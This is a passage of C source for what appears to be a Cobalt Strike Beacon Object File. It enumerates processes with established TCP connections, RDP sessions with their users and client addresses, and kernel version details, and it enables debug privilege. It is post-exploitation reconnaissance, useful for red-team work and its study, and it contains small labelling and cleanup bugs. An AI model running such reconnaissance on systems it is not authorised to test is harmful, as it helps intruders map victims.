{\n\t\tgoto CleanUp;\n\t}\n\n\tlpVerInfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, dwLen);\n\tif (lpVerInfo == NULL) {\n\t\tgoto CleanUp;\n\t}\n\n\tif (!VERSION$GetFileVersionInfoW(pwszPath, 0L, dwLen, lpVerInfo)) {\n\t\tgoto CleanUp;\n\t}\n\n\tstruct LANGANDCODEPAGE {\n\t\tWORD wLanguage;\n\t\tWORD wCodePage;\n\t} *lpTranslate;\n\n\n\tWCHAR wcCodePage[MAX_PATH];\n\tMSVCRT$memset(&wcCodePage, 0, sizeof(wcCodePage));\n\tWCHAR wcCompanyName[MAX_PATH];\n\tMSVCRT$memset(&wcCompanyName, 0, sizeof(wcCompanyName));\n\tWCHAR wcDescription[MAX_PATH];\n\tMSVCRT$memset(&wcDescription, 0, sizeof(wcDescription));\n\tWCHAR wcProductVersion[MAX_PATH];\n\tMSVCRT$memset(&wcProductVersion, 0, sizeof(wcProductVersion));\n\n\tUINT uLen;\n\tif (VERSION$VerQueryValueW(lpVerInfo, L\"\\\\VarFileInfo\\\\Translation\", (void **)&lpTranslate, &uLen)) {\n\t\tMSVCRT$swprintf_s(wcCodePage, _countof(wcCodePage), L\"%04x%04x\", lpTranslate->wLanguage, lpTranslate->wCodePage);\n\n\t\tMSVCRT$wcscat_s(wcCompanyName, _countof(wcCompanyName), L\"\\\\StringFileInfo\\\\\");\n\t\tMSVCRT$wcscat_s(wcCompanyName, _countof(wcCompanyName), wcCodePage);\n\t\tMSVCRT$wcscat_s(wcCompanyName, _countof(wcCompanyName), L\"\\\\CompanyName\");\n\n\t\tMSVCRT$wcscat_s(wcDescription, _countof(wcDescription), L\"\\\\StringFileInfo\\\\\");\n\t\tMSVCRT$wcscat_s(wcDescription, _countof(wcDescription), wcCodePage);\n\t\tMSVCRT$wcscat_s(wcDescription, _countof(wcDescription), L\"\\\\FileDescription\");\n\n\t\tMSVCRT$wcscat_s(wcProductVersion, _countof(wcProductVersion), L\"\\\\StringFileInfo\\\\\");\n\t\tMSVCRT$wcscat_s(wcProductVersion, _countof(wcProductVersion), wcCodePage);\n\t\tMSVCRT$wcscat_s(wcProductVersion, _countof(wcProductVersion), L\"\\\\ProductVersion\");\n\n\t\tif (VERSION$VerQueryValueW(lpVerInfo, wcCompanyName, (void **)&lpCompany, &uLen)) {\n\t\t\tSIZE_T pnLength = uLen;\n            char * convertedPN = intAlloc(pnLength + 1);\n            ConvertUnicodeStringToChar(lpCompany, pnLength + 1, convertedPN, pnLength + 1);\n            internal_printf(\"%-18s%s\\n\", \"    Company:\",  convertedPN);\n            intFree(convertedPN);\n\t\t}\n\n\t\tif (VERSION$VerQueryValueW(lpVerInfo, wcDescription, (void **)&lpDescription, &uLen)) {\n\t\t\tSIZE_T pnLength = uLen;\n            char * convertedPN = intAlloc(pnLength + 1);\n            ConvertUnicodeStringToChar(lpDescription, pnLength + 1, convertedPN, pnLength + 1);\n            internal_printf(\"%-18s%s\\n\", \"    Description:\",  convertedPN);\n            intFree(convertedPN);\n\t\t}\n\n\t\tif (VERSION$VerQueryValueW(lpVerInfo, wcProductVersion, (void **)&lpProductVersion, &uLen)) {\n\t\t\tSIZE_T pnLength = uLen;\n            char * convertedPN = intAlloc(pnLength + 1);\n            ConvertUnicodeStringToChar(lpProductVersion, pnLength + 1, convertedPN, pnLength + 1);\n            internal_printf(\"%-18s%s\\n\", \"    Version:\",  convertedPN);\n            intFree(convertedPN);\n\t\t}\n\t\n\t}\n\n\nCleanUp:\n\n\tif (hFile != NULL && hFile != INVALID_HANDLE_VALUE) {\n\t\tZwClose(hFile);\n\t}\n\n\tif (pInfo.ImageName.Buffer != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pInfo.ImageName.Buffer);\n\t}\n\n\tif (lpVerInfo != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpVerInfo);\n\t}\n\n\treturn TRUE;\n}\n\nBOOL EnumKernel() {\n\tNTSTATUS status;\n\tLPVOID pModInfoBuffer = NULL;\n\tSIZE_T modInfoSize = 0x10000;\n\tULONG uReturnLength = 0;\n\tPSYSTEM_MODULE_INFORMATION pModuleInfo = NULL;\n\tANSI_STRING aKernelImage;\n\tUNICODE_STRING uKernelImage;\n\n\t_RtlInitAnsiString RtlInitAnsiString = (_RtlInitAnsiString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlInitAnsiString\");\n\tif (RtlInitAnsiString == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetProcAddress failed.\\n\");\n\t\treturn FALSE;\n\t}\n\n\t_RtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString = (_RtlAnsiStringToUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlAnsiStringToUnicodeString\");\n\tif (RtlAnsiStringToUnicodeString == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetProcAddress failed.\\n\");\n\t\treturn FALSE;\n\t}\n\n\t_RtlFreeUnicodeString RtlFreeUnicodeString = (_RtlFreeUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlFreeUnicodeString\");\n\tif (RtlFreeUnicodeString == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"GetProcAddress failed.\\n\");\n\t\treturn FALSE;\n\t}\n\n\tdo {\n\t\tpModInfoBuffer = NULL;\n\t\tstatus = ZwAllocateVirtualMemory(NtCurrentProcess(), &pModInfoBuffer, 0, &modInfoSize, MEM_COMMIT, PAGE_READWRITE);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to allocate memory.\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tstatus = ZwQuerySystemInformation(88, pModInfoBuffer, (ULONG)modInfoSize, &uReturnLength);\n\t\tif (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pModInfoBuffer, &modInfoSize, MEM_RELEASE);\n\t\t\tmodInfoSize += uReturnLength;\n\t\t}\n\n\t} while (status != STATUS_SUCCESS);\n\n\tpModuleInfo = (PSYSTEM_MODULE_INFORMATION)pModInfoBuffer;\n\tRtlInitAnsiString(&aKernelImage, (PSTR)pModuleInfo->Module[0].FullPathName);\n\t\n\tRtlAnsiStringToUnicodeString(&uKernelImage, &aKernelImage, TRUE);\n\tif (uKernelImage.Buffer != NULL) {\n\t\tEnumFileProperties(NULL, &uKernelImage);\n\t}\n\nCleanUp:\n\n\tif (pModInfoBuffer == NULL) {\n\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pModInfoBuffer, &modInfoSize, MEM_RELEASE);\n\t}\n\n\tif (uKernelImage.Buffer != NULL) {\n\t\tRtlFreeUnicodeString(&uKernelImage);\n\t}\n\n\treturn TRUE;\n}\n\nBOOL EnumRDPSessions() {\n\tBOOL bResult = FALSE;\n\tPWTS_SESSION_INFOW pSessions = NULL;\n\tDWORD pCount = 0;\n\n\tif (!WTSAPI32$WTSEnumerateSessionsW(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pSessions, &pCount)) {\n\t\tgoto CleanUp;\n\t}\n\n\tfor (DWORD i = 0; i < pCount; i++) {\n\t\tLPWSTR lpUserName = NULL;\n\t\tLPWSTR lpDomainName = NULL;\n\t\tLPWSTR lpClientAddress = NULL;\n\t\tLPWSTR lpClientName = NULL;\n\t\tDWORD pBytesReturned = 0;\n\n\t\tif (!WTSAPI32$WTSQuerySessionInformationW(WTS_CURRENT_SERVER_HANDLE, pSessions[i].SessionId, WTSUserName, &lpUserName, &pBytesReturned)) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (!WTSAPI32$WTSQuerySessionInformationW(WTS_CURRENT_SERVER_HANDLE, pSessions[i].SessionId, WTSDomainName, &lpDomainName, &pBytesReturned)) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (!WTSAPI32$WTSQuerySessionInformationW(WTS_CURRENT_SERVER_HANDLE, pSessions[i].SessionId, WTSClientName, &lpClientName, &pBytesReturned)) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (!WTSAPI32$WTSQuerySessionInformationW(WTS_CURRENT_SERVER_HANDLE, pSessions[i].SessionId, WTSClientAddress, &lpClientAddress, &pBytesReturned)) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (pSessions[i].SessionId != 0) {\n\t\t\tinternal_printf(\"%-18s%d\\n\", \"\\n<R> RDP Session:\", pSessions[i].SessionId);\n\n\t\t\tif (MSVCRT$_wcsicmp(lpClientName, L\"\") != 0) {\n\t\t\t\tSIZE_T nameLength = KERNEL32$lstrlenW(lpClientName);\n\t\t\t\tchar * convertedName = intAlloc(nameLength + 1);\n\t\t\t\tConvertUnicodeStringToChar(lpClientName, nameLength + 1, convertedName, nameLength + 1);\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    ClientName:\", convertedName);\n\t\t\t\tintFree(convertedName);\n\t\t\t\t//BeaconPrintToStreamW(L\"%-18ls %ls\\n\", L\"    ClientName:\", lpClientName);\n\t\t\t\tWTSAPI32$WTSFreeMemory(lpClientName);\n\t\t\t}\n\n\t\t\tif (MSVCRT$_wcsicmp(lpUserName, L\"\") != 0) {\n\t\t\t\tSIZE_T usernameLength = KERNEL32$lstrlenW(lpUserName);\n\t\t\t\tSIZE_T domainLength = KERNEL32$lstrlenW(lpDomainName);\n\t\t\t\tchar * convertedUsername = intAlloc(usernameLength + 1);\n\t\t\t\tchar * convertedDomain = intAlloc(domainLength + 1);\n\t\t\t\tConvertUnicodeStringToChar(lpUserName, usernameLength + 1, convertedUsername, usernameLength + 1);\n\t\t\t\tConvertUnicodeStringToChar(lpDomainName, domainLength + 1, convertedDomain, domainLength + 1);\n\t\t\t\tinternal_printf(\"%-18s%s\\\\%s\\n\", \"    UserName:\", convertedDomain, convertedUsername);\n\t\t\t\tintFree(convertedUsername);\n\t\t\t\tintFree(convertedDomain);\n\t\t\t\tWTSAPI32$WTSFreeMemory(lpUserName);\n\t\t\t\tWTSAPI32$WTSFreeMemory(lpDomainName);\n\t\t\t}\n\n\t\t\tif (pSessions[i].State == WTSActive){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Active\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSConnected){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Connected\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSConnectQuery){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Connecting\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSShadow){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Shadowing\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSDisconnected){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Disconnected\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSIdle){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Idle\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSListen){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Listening\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSReset){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Reset\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSDown){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Down\");\n\t\t\t}\n\t\t\telse if (pSessions[i].State == WTSInit){\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"Initialization\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tinternal_printf(\"%-18s%d\\n\", \"    State:\", pSessions[i].State);\n\t\t\t}\n\n\t\t\tif (MSVCRT$_wcsicmp(pSessions[i].pWinStationName, L\"\") != 0) {\n\t\t\t\tSIZE_T nameLength = KERNEL32$lstrlenW(pSessions[i].pWinStationName);\n\t\t\t\tchar * convertedName = intAlloc(nameLength + 1);\n\t\t\t\tConvertUnicodeStringToChar(pSessions[i].pWinStationName, nameLength + 1, convertedName, nameLength + 1);\n\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    WinStation:\", convertedName);\n\t\t\t\t//BeaconPrintToStreamW(L\"%-18ls %ls\\n\", L\"    WinStation:\", pSessions[i].pWinStationName);\n\t\t\t\tintFree(convertedName);\n\t\t\t}\n\n\t\t\tPWTS_CLIENT_ADDRESS pAddress = (PWTS_CLIENT_ADDRESS)lpClientAddress;\n\t\t\tif (AF_INET == pAddress->AddressFamily) {\n\t\t\t\tinternal_printf(\"%-18s%d.%d.%d.%d\\n\", \"    ClientAddr:\", pAddress->Address[2], pAddress->Address[3], pAddress->Address[4], pAddress->Address[5]);\n\t\t\t}\n\t\t\telse if (AF_INET6 == pAddress->AddressFamily) {\n\t\t\t\tinternal_printf(\"%-18s%x:%x:%x:%x:%x:%x:%x:%x\\n\", \"    ClientAddr:\",\n\t\t\t\t\tpAddress->Address[2] << 8 | pAddress->Address[3],\n\t\t\t\t\tpAddress->Address[4] << 8 | pAddress->Address[5],\n\t\t\t\t\tpAddress->Address[6] << 8 | pAddress->Address[7],\n\t\t\t\t\tpAddress->Address[8] << 8 | pAddress->Address[9],\n\t\t\t\t\tpAddress->Address[10] << 8 | pAddress->Address[11],\n\t\t\t\t\tpAddress->Address[12] << 8 | pAddress->Address[13],\n\t\t\t\t\tpAddress->Address[14] << 8 | pAddress->Address[15],\n\t\t\t\t\tpAddress->Address[16] << 8 | pAddress->Address[17]);\n\t\t\t}\n\t\t\t\n\t\t\tWTSAPI32$WTSFreeMemory(lpClientAddress);\n\t\t}\n\t}\n\nCleanUp:\n\n\tif (pSessions != NULL) {\n\t\tWTSAPI32$WTSFreeMemory(pSessions);\n\t}\n\t\n\treturn bResult;\n}\n\nBOOL CheckConnectedProc(_In_ DWORD ProcessId) {\n\tBOOL bResult = FALSE;\n\tPMIB_TCPTABLE2 pTcpTable = NULL;\n\tPMIB_TCP6TABLE2 pTcp6Table = NULL;\n\tULONG ulSize = 0;\n\tDWORD dwRetVal = 0;\n\tint i;\n\t\n\tpTcpTable = (MIB_TCPTABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(MIB_TCPTABLE2)));\n\tif (pTcpTable == NULL) {\n\t\treturn bResult;\n\t}\n\n\tulSize = sizeof(MIB_TCPTABLE);\n\tif ((dwRetVal = IPHLPAPI$GetTcpTable2(pTcpTable, &ulSize, TRUE)) == ERROR_INSUFFICIENT_BUFFER) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcpTable);\n\t\tpTcpTable = (MIB_TCPTABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (ulSize));\n\t\tif (pTcpTable == NULL) {\n\t\t\treturn bResult;\n\t\t}\n\t}\n\n\tif ((dwRetVal = IPHLPAPI$GetTcpTable2(pTcpTable, &ulSize, TRUE)) == NO_ERROR) {\n\t\tfor (i = 0; i < (int)pTcpTable->dwNumEntries; i++) {\n\t\t\tif (pTcpTable->table[i].dwOwningPid == ProcessId) {\n\t\t\t\tif (pTcpTable->table[i].dwState == MIB_TCP_STATE_ESTAB) {\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t\tgoto CleanUp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpTcp6Table = (MIB_TCP6TABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(MIB_TCP6TABLE2)));\n\tif (pTcp6Table == NULL) {\n\t\treturn bResult;\n\t}\n\n\tulSize = sizeof(MIB_TCP6TABLE);\n\tif ((dwRetVal = IPHLPAPI$GetTcp6Table2(pTcp6Table, &ulSize, TRUE)) == ERROR_INSUFFICIENT_BUFFER) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcp6Table);\n\t\tpTcp6Table = (MIB_TCP6TABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (ulSize));\n\t\tif (pTcp6Table == NULL) {\n\t\t\treturn bResult;\n\t\t}\n\t}\n\n\tif ((dwRetVal = IPHLPAPI$GetTcp6Table2(pTcp6Table, &ulSize, TRUE)) == NO_ERROR) {\n\t\tfor (i = 0; i < (int)pTcp6Table->dwNumEntries; i++) {\n\t\t\tif (pTcp6Table->table[i].dwOwningPid == ProcessId) {\n\t\t\t\tif (pTcp6Table->table[i].State == MIB_TCP_STATE_ESTAB) {\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t\tgoto CleanUp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\nCleanUp:\n\n\tif (pTcpTable != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcpTable);\n\t}\n\n\tif (pTcp6Table != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcp6Table);\n\t}\n\n\treturn bResult;\n}\n\nBOOL GetTcpSessions(_In_ DWORD ProcessId, _Out_ BOOL *bRDPEnabled) {\n\tBOOL bResult = FALSE;\n\tPMIB_TCPTABLE2 pTcpTable;\n\tULONG ulSize = 0;\n\tDWORD dwRetVal = 0;\n\tWCHAR szLocalAddr[128];\n\tWCHAR szRemoteAddr[128];\n\tstruct in_addr IpAddr;\n\tint i;\n\t\n\tpTcpTable = (MIB_TCPTABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(MIB_TCPTABLE2)));\n\tif (pTcpTable == NULL) {\n\t\treturn bResult;\n\t}\n\n\tulSize = sizeof(MIB_TCPTABLE);\n\tif ((dwRetVal = IPHLPAPI$GetTcpTable2(pTcpTable, &ulSize, TRUE)) == ERROR_INSUFFICIENT_BUFFER) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcpTable);\n\t\tpTcpTable = (MIB_TCPTABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (ulSize));\n\t\tif (pTcpTable == NULL) {\n\t\t\treturn bResult;\n\t\t}\n\t}\n\n\tif ((dwRetVal = IPHLPAPI$GetTcpTable2(pTcpTable, &ulSize, TRUE)) == NO_ERROR) {\n\t\tfor (i = 0; i < (int)pTcpTable->dwNumEntries; i++) {\n\t\t\tif (pTcpTable->table[i].dwOwningPid == ProcessId) {\n\t\t\t\tif (pTcpTable->table[i].dwState == MIB_TCP_STATE_ESTAB) {\n\t\t\t\t\tinternal_printf(\"%-19s%s\\n\", \"\\n<-> Session:\", \"TCP\");\n\t\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"ESTABLISHED\");\n\t\t\t\t\t\n\t\t\t\t\t_RtlIpv4AddressToStringW RtlIpv4AddressToStringW = (_RtlIpv4AddressToStringW)\n\t\t\t\t\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlIpv4AddressToStringW\");\n\t\t\t\t\tif (RtlIpv4AddressToStringW == NULL) {\n\t\t\t\t\t\tgoto CleanUp;\n\t\t\t\t\t}\n\n\t\t\t\t\tIpAddr.S_un.S_addr = (u_long)pTcpTable->table[i].dwLocalAddr;\n\t\t\t\t\tRtlIpv4AddressToStringW(&IpAddr, szLocalAddr);\n\t\t\t\t\tSIZE_T addrLength = KERNEL32$lstrlenW(szLocalAddr);\n\t\t\t\t\tchar * convertedAddr = intAlloc(addrLength + 1);\n\t\t\t\t\tConvertUnicodeStringToChar(szLocalAddr, addrLength + 1, convertedAddr, addrLength + 1);\n\t\t\t\t\tinternal_printf(\"%-18s%s:%d\\n\", \"    Local Addr:\", convertedAddr, WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort));\n\n\t\t\t\t\tIpAddr.S_un.S_addr = (u_long)pTcpTable->table[i].dwRemoteAddr;\n\t\t\t\t\tRtlIpv4AddressToStringW(&IpAddr, szRemoteAddr);\n\t\t\t\t\tSIZE_T raddrLength = KERNEL32$lstrlenW(szRemoteAddr);\n\t\t\t\t\tchar * convertedrAddr = intAlloc(raddrLength + 1);\n\t\t\t\t\tConvertUnicodeStringToChar(szRemoteAddr, raddrLength + 1, convertedrAddr, raddrLength + 1);\n\t\t\t\t\tinternal_printf(\"%-18s%s:%d\\n\", \"    Remote Addr:\", convertedrAddr, WS2_32$ntohs((u_short)pTcpTable->table[i].dwRemotePort));\n\t\t\t\t\tintFree(convertedAddr);\n\t\t\t\t\tintFree(convertedrAddr);\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t}\n\t\t\t\t//if (WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort) == 3389 | WS2_32$ntohs((u_short)pTcpTable->table[i].dwRemotePort) == 3389) {\n\t\t\t\tif (WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort) == 3389) {\n\t\t\t\t\t*bRDPEnabled = TRUE;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\nCleanUp:\n\n\tif (pTcpTable != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcpTable);\n\t}\n\n\treturn bResult;\n}\n\nBOOL GetTcp6Sessions(_In_ DWORD ProcessId, _Out_ BOOL *bRDPEnabled) {\n\tBOOL bResult = FALSE;\n\tPMIB_TCP6TABLE2 pTcpTable;\n\tULONG ulSize = 0;\n\tDWORD dwRetVal = 0;\n\tWCHAR szLocalAddr[128];\n\tWCHAR szRemoteAddr[128];\n\tint i;\n\n\tpTcpTable = (MIB_TCP6TABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(MIB_TCP6TABLE2)));\n\tif (pTcpTable == NULL) {\n\t\treturn bResult;\n\t}\n\n\tulSize = sizeof(MIB_TCP6TABLE);\n\tif ((dwRetVal = IPHLPAPI$GetTcp6Table2(pTcpTable, &ulSize, TRUE)) == ERROR_INSUFFICIENT_BUFFER) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcpTable);\n\t\tpTcpTable = (MIB_TCP6TABLE2 *)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, (ulSize));\n\t\tif (pTcpTable == NULL) {\n\t\t\treturn bResult;\n\t\t}\n\t}\n\n\tif ((dwRetVal = IPHLPAPI$GetTcp6Table2(pTcpTable, &ulSize, TRUE)) == NO_ERROR) {\n\t\tfor (i = 0; i < (int)pTcpTable->dwNumEntries; i++) {\n\t\t\tif (pTcpTable->table[i].dwOwningPid == ProcessId) {\n\t\t\t\tif (pTcpTable->table[i].State == MIB_TCP_STATE_ESTAB) {\n\t\t\t\t\tinternal_printf(\"%-19s%s\\n\", \"\\n<-> Session:\", \"TCP6\");\n\t\t\t\t\tinternal_printf(\"%-18s%s\\n\", \"    State:\", \"ESTABLISHED\");\n\t\t\t\t\t\n\t\t\t\t\t_RtlIpv6AddressToStringW RtlIpv6AddressToStringW = (_RtlIpv6AddressToStringW)\n\t\t\t\t\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlIpv6AddressToStringW\");\n\t\t\t\t\tif (RtlIpv6AddressToStringW == NULL) {\n\t\t\t\t\t\tgoto CleanUp;\n\t\t\t\t\t}\n\n\t\t\t\t\tRtlIpv6AddressToStringW(&pTcpTable->table[i].LocalAddr, szLocalAddr);\n\t\t\t\t\tif (MSVCRT$_wcsicmp(szLocalAddr, L\"::\") == 0) {\n\t\t\t\t\t\tinternal_printf(\"%-18s[0:0:0:0:0:0:0:0]:%d\\n\", \"    Local Addr:\", WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort));\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tSIZE_T addrLength = KERNEL32$lstrlenW(szLocalAddr);\n\t\t\t\t\t\tchar * convertedAddr = intAlloc(addrLength + 1);\n\t\t\t\t\t\tConvertUnicodeStringToChar(szLocalAddr, addrLength + 1, convertedAddr, addrLength + 1);\n\t\t\t\t\t\tinternal_printf(\"%-18s%s:%d\\n\", \"    Local Addr:\", convertedAddr, WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort));\n\t\t\t\t\t\tintFree(convertedAddr);\n\t\t\t\t\t}\n\n\t\t\t\t\tRtlIpv6AddressToStringW(&pTcpTable->table[i].RemoteAddr, szRemoteAddr);\n\t\t\t\t\tif (MSVCRT$_wcsicmp(szRemoteAddr, L\"::\") == 0) {\n\t\t\t\t\t\tinternal_printf(\"%-18s[0:0:0:0:0:0:0:0]:%d\\n\", \"    Local Addr:\", WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort));\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tSIZE_T raddrLength = KERNEL32$lstrlenW(szRemoteAddr);\n\t\t\t\t\t\tchar * convertedrAddr = intAlloc(raddrLength + 1);\n\t\t\t\t\t\tConvertUnicodeStringToChar(szRemoteAddr, raddrLength + 1, convertedrAddr, raddrLength + 1);\n\t\t\t\t\t\tinternal_printf(\"%-18s%s:%d\\n\", \"    Local Addr:\", convertedrAddr, WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort));\n\t\t\t\t\t\tintFree(convertedrAddr);\n\t\t\t\t\t}\n\n\t\t\t\t\tbResult = TRUE;\n\t\t\t\t}\n\t\t\t\tif (WS2_32$ntohs((u_short)pTcpTable->table[i].dwLocalPort) == 3389) {\n\t\t\t\t\t*bRDPEnabled = TRUE;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\nCleanUp:\n\n\tif (pTcpTable != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTcpTable);\n\t}\n\t\n\treturn bResult;\n}\n\n\nVOID go()\n{\n\n    if(!bofstart())\n    {\n        return;\n    }\n    NTSTATUS status;\n\tBOOL bIsWoW64 = FALSE;\n\tPSYSTEM_PROCESSES pProcInfo = NULL;\n\tLPVOID pProcInfoBuffer = NULL;\n\tSIZE_T procInfoSize = 0x10000;\n\tULONG uReturnLength = 0;\n\tFILETIME ftCreate;\n\tSYSTEMTIME stUTC, stLocal;\n\tULONG ulPid = GetPid();\n\tDWORD SessionID;\n\t\n\t_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlInitUnicodeString\");\n\tif (RtlInitUnicodeString == NULL) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"GetProcAddress failed.\");\n\t\treturn;\n\t}\n\n\t_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlEqualUnicodeString\");\n\tif (RtlEqualUnicodeString == NULL) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"GetProcAddress failed.\");\n\t\treturn;\n\t}\n\n#if defined(WOW64)\n\t_RtlWow64EnableFsRedirectionEx RtlWow64EnableFsRedirectionEx = (_RtlWow64EnableFsRedirectionEx)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"RtlWow64EnableFsRedirectionEx\");\n\tif (RtlWow64EnableFsRedirectionEx == NULL) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"GetProcAddress failed.\");\n\t\treturn;\n\t}\n\n\tbIsWoW64 = IsProcessWoW64(NtCurrentProcess());\n\tif (bIsWoW64) {\n\t\tPVOID OldValue = NULL;\n\t\tstatus = RtlWow64EnableFsRedirectionEx((PVOID)TRUE, &OldValue);\n\t}\n#endif\n\n\tif (IsElevated()) {\n\t\tSetDebugPrivilege();\n\t}\n\n\tdo {\n\t\tpProcInfoBuffer = NULL;\n\t\tstatus = ZwAllocateVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, 0, &procInfoSize, MEM_COMMIT, PAGE_READWRITE);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to allocate memory.\");\n\t\t\treturn;\n\t\t}\n\n\t\tstatus = ZwQuerySystemInformation(SystemProcessInformation, pProcInfoBuffer, (ULONG)procInfoSize, &uReturnLength);\n\t\tif (status == STATUS_INFO_LENGTH_MISMATCH) {\n\t\t\tZwFreeVirtualMemory(NtCurrentProcess(), &pProcInfoBuffer, &procInfoSize, MEM_RELEASE);\n\t\t\tprocInfoSize += uReturnLength;\n\t\t}\n\n\t} while (status != STATUS_SUCCESS);\n\n\tpProcInfo = (PSYSTEM_PROCESSES)pProcInfoBuffer;\nLOOP:\tdo {\n\t\tif (pProcInfo->NextEntryDelta == 0) {\n\t\t\tbreak;\n\t\t}\n\t\tpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta);\n\t\t\n\t\tif (!CheckConnectedProc(HandleToULong(pProcInfo->ProcessId))) {\n\t\t\tif (pProcInfo->NextEntryDelta == 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tgoto LOOP;\n\t\t}\n\n        internal_printf(\"\\n--------------------------------------------------------------------\\n\");\n\t\tif (HandleToULong(pProcInfo->ProcessId) == ulPid){\n\t\t\tSIZE_T pnLength = pProcInfo->ProcessName.Length;\n            